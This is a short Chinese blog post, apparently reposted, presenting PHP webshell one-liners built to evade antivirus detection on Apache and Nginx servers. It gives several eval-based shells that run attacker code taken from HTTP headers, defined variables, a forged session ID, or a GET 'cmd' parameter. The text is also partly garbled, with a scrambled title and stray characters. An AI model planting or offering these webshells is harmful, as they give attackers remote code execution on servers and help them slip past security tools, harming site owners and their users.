当前位置:首页 > Web开发 > 正文

1 2 3 ?php eval ( hex2bin ( session_id ( session_start ( )

2024-03-31 Web开发

环境函数用法
nginx   get_defined_vars()   返回由所有已界说变量所构成的数组  
apache   getallheaders()   获取全部 HTTP 请求头信息  

apache环境

 

1

2

3

 

<?php

eval(next(getallheaders()));

?>

 

apache和nginx环境通用

 

1

2

3

 

<?php

eval(implode(reset(get_defined_vars())));

?>

 

此外一种通过执行伪造的sessionid值,,进行任意代码执行。

 

1

2

3

 

<?php

eval(hex2bin(session_id(session_start())));

?>

 

给webshell加暗码

 

1

 

<?php eval(get_defined_vars()[‘_GET‘][‘cmd‘]);?>

 

PHP操作Apache、Nginx的特性实现免杀Webshell

温馨提示: 本文由Jm博客推荐,转载请保留链接: https://www.jmwww.net/file/web/32691.html